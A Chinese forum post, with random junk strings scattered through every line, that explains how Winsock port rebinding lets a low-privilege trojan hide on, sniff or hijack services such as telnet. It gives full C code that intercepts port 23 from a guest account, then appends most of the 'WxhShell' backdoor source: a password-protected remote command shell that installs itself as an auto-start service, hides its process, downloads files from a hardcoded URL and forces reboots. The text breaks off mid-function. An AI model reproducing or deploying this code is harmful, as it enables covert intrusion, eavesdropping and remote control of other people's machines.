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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: q[7C,o>/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dN;C-XF3s  
A"i40 @+  
  saddr.sin_family = AF_INET; #L[Atx  
l.Qj?G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); yv]/A<gP+  
@ L?7` VoE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7$}lkL  
$)z(4Ev  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 53@*GXzE  
|*jnJWH4:  
  这意味着什么?意味着可以进行如下的攻击: ~ b\bpu  
3S +.]v>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 RE7 I"  
#!C/~"Y*`|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2NqlE  
kf.w:X"i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 - =QA{n  
->$Do$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SU Hyg/|F  
gQ/-.1Pz$  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )t&j0`Yq  
$oe:km1-D  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R\ <HR9r  
( *UMpdj  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6# ,2  
UC\CCDV#^  
  #include 45q-x_  
  #include fPa FL}&  
  #include Wyw/imr  
  #include    ~Wf&$p<|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VuPa '2  
  int main() 34&n { xv  
  { +{4ziqYj  
  WORD wVersionRequested; $5s?m\!jZz  
  DWORD ret; pma'C\b>  
  WSADATA wsaData; LoqS45-)  
  BOOL val; xW!2[.O5H  
  SOCKADDR_IN saddr; UuzT*Y>  
  SOCKADDR_IN scaddr; Ae;> @k/|=  
  int err; N>xs@_"o  
  SOCKET s; tNG0ft%a  
  SOCKET sc; $wub)^  
  int caddsize; Nu<M~/  
  HANDLE mt; nV@k}IJg:?  
  DWORD tid;   ezgP\ct  
  wVersionRequested = MAKEWORD( 2, 2 ); {D 9m// x  
  err = WSAStartup( wVersionRequested, &wsaData ); G;>b}\Ng  
  if ( err != 0 ) { 9jCn|+  
  printf("error!WSAStartup failed!\n"); &r;-=ASYzV  
  return -1; TW7jp  
  } q`{crY30  
  saddr.sin_family = AF_INET; oGu-:X=`9  
   2dFC{US'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 48Vmz  
Q+ $+{g-8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _ 2R;@[f2  
  saddr.sin_port = htons(23); ~jQ|X?tR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GNgPf"}K  
  { |B./5 ,nSS  
  printf("error!socket failed!\n"); BRi\&&<4  
  return -1; 0P3^#j  
  } 6X$]d^)h{  
  val = TRUE; Oc}4`?oy<O  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Y1h8O%?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [:&4Tp*C  
  { x9hkE!{8  
  printf("error!setsockopt failed!\n"); o cotO  
  return -1; g+bc4eU  
  } [u`v'*0d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; J-P> ~ L"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %scSp&X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }4Ef31X8q  
xKi: 2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q@1b{q#C5  
  { fzT|{vG8  
  ret=GetLastError(); z' z_6]5  
  printf("error!bind failed!\n"); u!S^lV@  
  return -1; ABuK`(f.  
  } p%/Z  
  listen(s,2); LZG?M|(6D  
  while(1) 3MPmLV#f  
  { k)U9 %Pr  
  caddsize = sizeof(scaddr); V^sZXdDNL  
  //接受连接请求 dfAnOF"-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P-[6'mw`  
  if(sc!=INVALID_SOCKET) "j#;MOK  
  { j *B,b4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i|?EgGFG  
  if(mt==NULL) ,UNCBnv1  
  { FZf{kWH  
  printf("Thread Creat Failed!\n"); }TI"j{(QJ  
  break; E4idEQ}H  
  } 2K[Y|.u8>q  
  } U$-Gc[=|  
  CloseHandle(mt); OHTJQ5%zL  
  } &Azfpv   
  closesocket(s); + :4 F@R  
  WSACleanup(); U.g7'`Z<  
  return 0; _Vul9=  
  }   xF.n=z  
  DWORD WINAPI ClientThread(LPVOID lpParam) MKMWHGN  
  { 9ozN$:  
  SOCKET ss = (SOCKET)lpParam; G0 *>S`:4  
  SOCKET sc; _=!R l#  
  unsigned char buf[4096]; ]06orBV  
  SOCKADDR_IN saddr; uJhB>/Og  
  long num; $2I^ ;5r[  
  DWORD val; 4BF \- lq~  
  DWORD ret; @#m@ .   
  //如果是隐藏端口应用的话,可以在此处加一些判断 )nE=H,U?y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \JjZ _R  
  saddr.sin_family = AF_INET; ;:nx6wi  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O1]L4V1iH  
  saddr.sin_port = htons(23); 1X. E:  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /&1FgSARK  
  { H%y!lR{c^D  
  printf("error!socket failed!\n"); <vS3 [(  
  return -1; c"F3[mrff  
  } '&v.h#<  
  val = 100; m/TjXA8_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e x" E50  
  { L{PH8Xl_  
  ret = GetLastError(); rnX D(  
  return -1; dA4DW  
  } &/wd_;d^A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Dfz3\|LJ  
  { /<zBjvr%%  
  ret = GetLastError(); +h*-9  
  return -1; EH1GdlhA  
  } iR(=< >  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :qlcN@_  
  { < KB V  
  printf("error!socket connect failed!\n"); wN}@%D-[v  
  closesocket(sc); %)'# d  
  closesocket(ss); y(81| c#  
  return -1; `hpX97v  
  } :xwyE(w  
  while(1) _TLB1T^/4  
  { ArK%?*`5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KNvvYwFH]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0i|z$QRL~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 TjDDvXY  
  num = recv(ss,buf,4096,0); ZH<: g6  
  if(num>0) oyfY>^bs  
  send(sc,buf,num,0); 9Kl:3C  
  else if(num==0) 9$<1<  
  break; )(CZK&<  
  num = recv(sc,buf,4096,0); m+m2<|%x  
  if(num>0) t_ju[xL5B  
  send(ss,buf,num,0); #M/^n0E  
  else if(num==0) 76 ] X  
  break; P6G&3yPt  
  } #LU<v  
  closesocket(ss); "|k 4<"]  
  closesocket(sc); NAg9EaWja{  
  return 0 ; `|rF^~6(dR  
  } (Mzv"FN]  
E!Ljq3iT`  
@}{lp'8FYi  
========================================================== l4O&*,}l##  
U=ek_FO  
下边附上一个代码,,WXhSHELL z.vE RP56  
Q vc$D{z  
========================================================== 3fBV SFVS  
*Rx&#9  
#include "stdafx.h" -/w#f&Y+]8  
:o"9x,  
#include <stdio.h> ?Sj >b   
#include <string.h> <y`M Upf]  
#include <windows.h> AX{X:L8Ut2  
#include <winsock2.h> f\+E&p.  
#include <winsvc.h> .m gm1zz  
#include <urlmon.h> KA#P_e{<@  
/BN_K8nb`  
#pragma comment (lib, "Ws2_32.lib") fex<9'e  
#pragma comment (lib, "urlmon.lib") > a?K ![R  
}w_r(g?\  
#define MAX_USER   100 // 最大客户端连接数 U\'HB.P\  
#define BUF_SOCK   200 // sock buffer <@4 48,9&  
#define KEY_BUFF   255 // 输入 buffer _/c1b>kcso  
ovXU +8  
#define REBOOT     0   // 重启 *r90IS}A$2  
#define SHUTDOWN   1   // 关机 -ZVCb@%  
tg~@(IT}j  
#define DEF_PORT   5000 // 监听端口 nhdOo   
/}kG$ ~  
#define REG_LEN     16   // 注册表键长度 qdCcMcGt  
#define SVC_LEN     80   // NT服务名长度 y3+iADo.p  
L ^E#"f  
// 从dll定义API VZ3{$0 +  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y?'Krw `  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KkJrh@lk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 93[&'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :5W8S6[o  
w\}@+w3b~  
// wxhshell配置信息 GZt L-   
struct WSCFG { %iq8dAW%  
  int ws_port;         // 监听端口 \#(tI3  
  char ws_passstr[REG_LEN]; // 口令 a #`Y(R'  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y#<>N-X|kA  
  char ws_regname[REG_LEN]; // 注册表键名 $p;<1+!  
  char ws_svcname[REG_LEN]; // 服务名 :3N&&]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p!Xn iY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P]^ BE;7T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 YZdV0 -S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1Qk]?R/DN  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,L&d\M"f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $o%:ST4  
Cm"7f !(#  
}; oniVC',  
wl.a|~-  
// default Wxhshell configuration P P-U.  
struct WSCFG wscfg={DEF_PORT, pNnZ-R|u  
    "xuhuanlingzhe", <y2HzBC  
    1, Fm#`}K_  
    "Wxhshell", e0:[,aF`  
    "Wxhshell", dTrz7ayH  
            "WxhShell Service", mMOjV_  
    "Wrsky Windows CmdShell Service",  DJJd_  
    "Please Input Your Password: ", MXa(Oi2Gg  
  1, j;yKL-ycB  
  "http://www.wrsky.com/wxhshell.exe", Dbg,|UH  
  "Wxhshell.exe" V'^E'[Dd{  
    }; /UG]hJ-wn  
G%F}H/|R  
// 消息定义模块 %M5{-pJ|C  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $n= w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ia#8 ^z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XVfw0-O  
char *msg_ws_ext="\n\rExit."; l.Q.G<ol  
char *msg_ws_end="\n\rQuit."; f`K[oCfu  
char *msg_ws_boot="\n\rReboot..."; 5HC5   
char *msg_ws_poff="\n\rShutdown..."; wLa8&E[  
char *msg_ws_down="\n\rSave to "; $)#?4v<  
[[7=rn}@<  
char *msg_ws_err="\n\rErr!"; K0fuN)C  
char *msg_ws_ok="\n\rOK!"; snicVzvA  
1smKU9B2)  
char ExeFile[MAX_PATH]; BVzMgn;  
int nUser = 0; [/Sk+ID  
HANDLE handles[MAX_USER]; -{z<+(K!$  
int OsIsNt; 92(P~Sdv  
hX)PdRk#  
SERVICE_STATUS       serviceStatus; ^xX1G _{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N;` jz(r  
) #l&BV5  
// 函数声明 -P:o ^_)g  
int Install(void); gwyX%9  
int Uninstall(void); 85:KlBe%+  
int DownloadFile(char *sURL, SOCKET wsh); +5x{|!Pn  
int Boot(int flag); z 4qEC  
void HideProc(void); _;mA(j  
int GetOsVer(void); F*-+5nJ&@  
int Wxhshell(SOCKET wsl); Q2Dh(  
void TalkWithClient(void *cs); _$KE E|9  
int CmdShell(SOCKET sock); ,4HZ-|EOZ  
int StartFromService(void); "F:V$,mJ  
int StartWxhshell(LPSTR lpCmdLine); 1|dXbyUd  
|)*9BN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {,B. OM)J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wud-(19  
^{Fo,7  
// 数据结构和表定义 }2hU7YWt  
SERVICE_TABLE_ENTRY DispatchTable[] =  B9dc *  
{ \GPTGi5A  
{wscfg.ws_svcname, NTServiceMain}, l T#WM]  
{NULL, NULL} 0uu)0:  
}; VHm.uL_UW  
3Z}v%=5 "  
// 自我安装 (L*<CV  
int Install(void) j6WDh}#  
{ m.68ctaa  
  char svExeFile[MAX_PATH]; 8ly6CP+^B  
  HKEY key; -Q6Vz=ku  
  strcpy(svExeFile,ExeFile); H=*lj.x  
O>"T*   
// 如果是win9x系统,修改注册表设为自启动 YYhN>d$  
if(!OsIsNt) { _>J`e7j+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F~sUfqiJ'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t|m=X  
  RegCloseKey(key); WD@v<Wx)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Eb$rc)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ws<p BC,m  
  RegCloseKey(key); .*B@1q  
  return 0; E[Q2ZqhgbP  
    } 0Ibe~!EiQJ  
  } q"i]&dMr  
} Rn*@)5  
else { z.Vf,<H  
pQi|PQq  
// 如果是NT以上系统,安装为系统服务 .I0M'L~!/L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mu2|%$C;$  
if (schSCManager!=0) !l5@L\   
{ E9\u^"GVO  
  SC_HANDLE schService = CreateService P@5}}vwS  
  ( lnGg1/  
  schSCManager, y3':x[d  
  wscfg.ws_svcname, _jb&=f8  
  wscfg.ws_svcdisp, ^^g u  
  SERVICE_ALL_ACCESS, 4Uhh]/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,3 [FD9  
  SERVICE_AUTO_START, t?H sfN  
  SERVICE_ERROR_NORMAL, <v!jS=T  
  svExeFile,  7LB%7~{<  
  NULL, @KRia{  
  NULL, XAN.Plk  
  NULL, {:#c1d2@8  
  NULL, s"5nfl  
  NULL p fR~?jYzm  
  ); gZBb /<  
  if (schService!=0) 2 sj: &][R  
  { ; xL8W  
  CloseServiceHandle(schService); nErr&{C  
  CloseServiceHandle(schSCManager); 5me#/NqLHY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c!GJS`/  
  strcat(svExeFile,wscfg.ws_svcname); p=V1M-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {v"Y!/ [z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9g|99Z  
  RegCloseKey(key); e8M0Lz#}  
  return 0; DVt^O [  
    } #qARcxbK|  
  } _>bk'V7  
  CloseServiceHandle(schSCManager); TK0WfWch  
} 7m%[$X`  
} BMtk/r/  
&dPI<HlM  
return 1; N85ZbmU~  
} p +nh]  
 U02  
// 自我卸载 _S,UpR~2W  
int Uninstall(void) Gx*B(t]4y  
{ k;K-6<^h  
  HKEY key; 0+k..l  
+R7pdi  
if(!OsIsNt) { A-, hm=?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =b8u8*ua  
  RegDeleteValue(key,wscfg.ws_regname); |h\A5_0_  
  RegCloseKey(key); T oT('  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VUOe7c=  
  RegDeleteValue(key,wscfg.ws_regname); SW5n?Qj3-  
  RegCloseKey(key); <\$?.tTZ {  
  return 0; 7'gk=MQc  
  } hkRqtpYK  
} MdFFt:y:  
} b`JS&E  
else { v4K! BW  
}=B~n0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u08j9) ,4  
if (schSCManager!=0) l;$FR4}d  
{ =q>lP+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,M:[GuXD<  
  if (schService!=0) noLr185  
  { }57Jn5&'  
  if(DeleteService(schService)!=0) { b|*+!v:I>T  
  CloseServiceHandle(schService); <9\Lv]ng  
  CloseServiceHandle(schSCManager); i/Nc)kKL  
  return 0; KE~.f(  
  } KEdqA/F>  
  CloseServiceHandle(schService); 7H|0.  
  } S<jiy<|`  
  CloseServiceHandle(schSCManager); `sA xk  
} 'blMwD{0&\  
} 0~P]Fw^w  
;mg.} fI  
return 1;  FLZ9Rg  
} s:cJF  
?2R!n" m-d  
// 从指定url下载文件 76] Z~^Y  
int DownloadFile(char *sURL, SOCKET wsh) ^=a:{["@!  
{ A-d<[@d0  
  HRESULT hr; \y6Y}Cv  
char seps[]= "/"; ko|M2\  
char *token; _v(5vx_ {  
char *file; S(^YTb7  
char myURL[MAX_PATH]; &kn?=NW  
char myFILE[MAX_PATH]; BS?i!Bm7  
6pt|Crvu  
strcpy(myURL,sURL); -8vGvI>  
  token=strtok(myURL,seps); Y; iI =U  
  while(token!=NULL) |onLJY7)  
  { s Ytn'&$\  
    file=token; 4>2\{0r  
  token=strtok(NULL,seps); O9m sPb:  
  } <WnIJum  
#DARZhU)  
GetCurrentDirectory(MAX_PATH,myFILE); m%UF{I,  
strcat(myFILE, "\\"); ^6Zx-Mf\  
strcat(myFILE, file); wp'[AR}  
  send(wsh,myFILE,strlen(myFILE),0); feH&Ug4?G  
send(wsh,"...",3,0); g-,lY|a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -[&Z{1A4x4  
  if(hr==S_OK) gI9nxy  
return 0; 8k)*f+1o  
else 2 E?]!9T~|  
return 1; Y]Z&  
 deq5u>  
} 6)W8HX~+  
JG&E"j#q  
// 系统电源模块 0LYf0^P  
int Boot(int flag) +t&+f7  
{ Z [l+{  
  HANDLE hToken; c}|} o^  
  TOKEN_PRIVILEGES tkp; `Y+ R9bd  
LE~vSm^#  
  if(OsIsNt) { xwW(WHdC]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !I\eIV>0b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +>AVxV=A#  
    tkp.PrivilegeCount = 1; K>5 bb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &x=_n'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _/"e'@z  
if(flag==REBOOT) { F>^KXq:Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X\w["! B  
  return 0; cvf?ID84  
} j?T>S]xOX  
else { +]GP"yv-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q2OF-.rE  
  return 0; }}u`*&,g  
} <%W&xk  
  } S,ud pQ7  
  else { U>00B|<GJ  
if(flag==REBOOT) { kGC*\?<LmR  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^CM@VmPp  
  return 0; M,yxPHlN  
} 9YB?wh'S[  
else { t-n'I/^5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c6=XJvz  
  return 0; 3]@wa!`  
} U3-MvI,Q  
} N})vrB;1  
2^75|Q  
return 1; TKbfZw  
} 1HqN`])l/j  
t/%[U,m  
// win9x进程隐藏模块 tUW^dGo.  
void HideProc(void) nv7)X2jja  
{ }sJ}c}b  
4~ &X]/_'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;j[gE  
  if ( hKernel != NULL ) .wTb/x  
  { !6sR|c"~j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '/rU<.1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3u 7A(  
    FreeLibrary(hKernel); j|qdf3^f  
  } U#sv.r/L}3  
69Z`mR  
return; ??|,wIRz  
} A[`c+&  
~(NFjCUY?  
// 获取操作系统版本 1K)9fMr]  
int GetOsVer(void) p%X.$0  
{ n{qVF#N_  
  OSVERSIONINFO winfo; \}<J>R@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bE=[P}E  
  GetVersionEx(&winfo); Jk:ZO|'Z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ()$m9%x  
  return 1; [9}<N2,9z  
  else +afkpvj8  
  return 0; Sj*W|n\gj  
} M0e&GR8<z>  
kmlO}0  
// 客户端句柄模块 u[4h|*'"|  
int Wxhshell(SOCKET wsl) [H9<JdUZ  
{ V$iA3)7W%  
  SOCKET wsh; Xk:3w,  
  struct sockaddr_in client; q$s)(D  
  DWORD myID; \ f VX<L  
^JY:$)4["  
  while(nUser<MAX_USER) 6/p9ag]  
{ M?<iQxtyb}  
  int nSize=sizeof(client); .:B0(4Mj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a3z_o)"   
  if(wsh==INVALID_SOCKET) return 1; J-G)mvkv  
cg_tJ^vrY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _{}^]ZB  
if(handles[nUser]==0) ae2I,Qt%  
  closesocket(wsh); e5lJ)_o  
else Jvj* z6/a  
  nUser++; Cv&>:k0V  
  } 9KT85t1#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )(1tDQ`L>  
 n$>_2v  
  return 0; "]=XB0)  
} EiDpy#f}  
V' i@N  
// 关闭 socket <h<_''+  
void CloseIt(SOCKET wsh) !+YSc&R_fW  
{ 1gvh6eE F  
closesocket(wsh); hh.`Yu L  
nUser--; AT2D+Hi=E  
ExitThread(0); xa !/.  
} B[f:T%  
9\E];~"iP  
// 客户端请求句柄 *$JS}Pax  
void TalkWithClient(void *cs) Q&PEO%/D  
{ UIZ9" Da  
.%\||1F<  
  SOCKET wsh=(SOCKET)cs; D$D;'Kij  
  char pwd[SVC_LEN]; %+;amRb  
  char cmd[KEY_BUFF]; @kba^z  
char chr[1]; Q'j00/K  
int i,j; 46 |LIc }  
mM+^v[=  
  while (nUser < MAX_USER) { .\)ek[?  
NID2$p  
if(wscfg.ws_passstr) { s(=@J?7As  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AvuGAlP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p}K+4z   
  //ZeroMemory(pwd,KEY_BUFF); gy#G;9p  
      i=0; _?bF;R  
  while(i<SVC_LEN) { EU Oa8Z  
YW8Odm  
  // 设置超时 8)b*q\ O'  
  fd_set FdRead; n2["Ln mO  
  struct timeval TimeOut; Np.<&`p!  
  FD_ZERO(&FdRead); &s\/Uq  
  FD_SET(wsh,&FdRead); q^QLNKOH"  
  TimeOut.tv_sec=8; (8~Hr?1B  
  TimeOut.tv_usec=0; Qi9M4Yv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); jq|fI P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Gq?>Bi;`  
:0o]#7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :&RpB^]  
  pwd=chr[0]; I Vw'YtZ  
  if(chr[0]==0xd || chr[0]==0xa) { wc}4:~  
  pwd=0; <c [X^8   
  break; KJV],6d  
  } FuFICF7+C  
  i++; Rp}Sm,w(  
    } Q[aBxy (  
.[6T7fdi  
  // 如果是非法用户,关闭 socket COH>B1W@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &>ykkrY  
} _w%{yF6   
,pdf$) XB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nEik;hAz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TF,([p*  
e\*N Lj_(  
while(1) { E1qf N>0Z  
? 8S~R  
  ZeroMemory(cmd,KEY_BUFF); TLz>|gr  
id1gK(F8H  
      // 自动支持客户端 telnet标准   'puiahA  
  j=0; .bRDz:?j  
  while(j<KEY_BUFF) { bHz H0v]:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N_VWA.JHt  
  cmd[j]=chr[0]; x!?$y_t  
  if(chr[0]==0xa || chr[0]==0xd) { gy5R"_MU  
  cmd[j]=0; 4L&Rs;  
  break; bp P3#~ K  
  } M,DwBEF?  
  j++; okbW.  ~  
    } [R/'hH5  
!XF:.|  
  // 下载文件 g'.(te |  
  if(strstr(cmd,"http://")) { -&np/tEu&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;7mE%1X  
  if(DownloadFile(cmd,wsh)) N6!9QIu~i  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PD:lI]:s  
  else m=^ihQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q\2~^w1V  
  } (:7Z-V2(  
  else { 3lefB A7  
1@^*tffL:  
    switch(cmd[0]) { kAAD&t;w  
  kY~o3p<  
  // 帮助 6CNxb  
  case '?': { Mqmy*m[U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V_=7q=9mV  
    break; p8E6_%Rw  
  } Twk,R. O  
  // 安装 \U HI%1^  
  case 'i': { xG,L*3c{o  
    if(Install()) OH`|aqN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zj#8@gbh+  
    else -1]8f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U#(#U0s*-  
    break; %I%OHs  
    } \7 *"M y*  
  // 卸载 qW9~S0sl  
  case 'r': { *<ww~^a  
    if(Uninstall()) 4@Xd(F_d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j\uPOn8k  
    else >s>{+6e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uc]sWcR  
    break; x I(X+d``  
    } Y;>D"C..  
  // 显示 wxhshell 所在路径 j55OG~)  
  case 'p': { 5_Oxl6#  
    char svExeFile[MAX_PATH]; p4wx&VLi  
    strcpy(svExeFile,"\n\r"); w(!COu  
      strcat(svExeFile,ExeFile); * o#P)H  
        send(wsh,svExeFile,strlen(svExeFile),0); [^\HP] *Q{  
    break; _4X3g%nXl  
    }  I8  
  // 重启 Y i`wj^  
  case 'b': { aHSl_[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *nV*WU S3  
    if(Boot(REBOOT)) $ I|K<slV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <U2Un 0T  
    else { /"7_75 t  
    closesocket(wsh); hixG/%aO  
    ExitThread(0); Q>l5:2lq  
    } G"F:68  
    break; &z;1Z  
    } }x?2txuu  
  // 关机 U oG+du[  
  case 'd': { $5J~4B"%3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I{uwT5QT-  
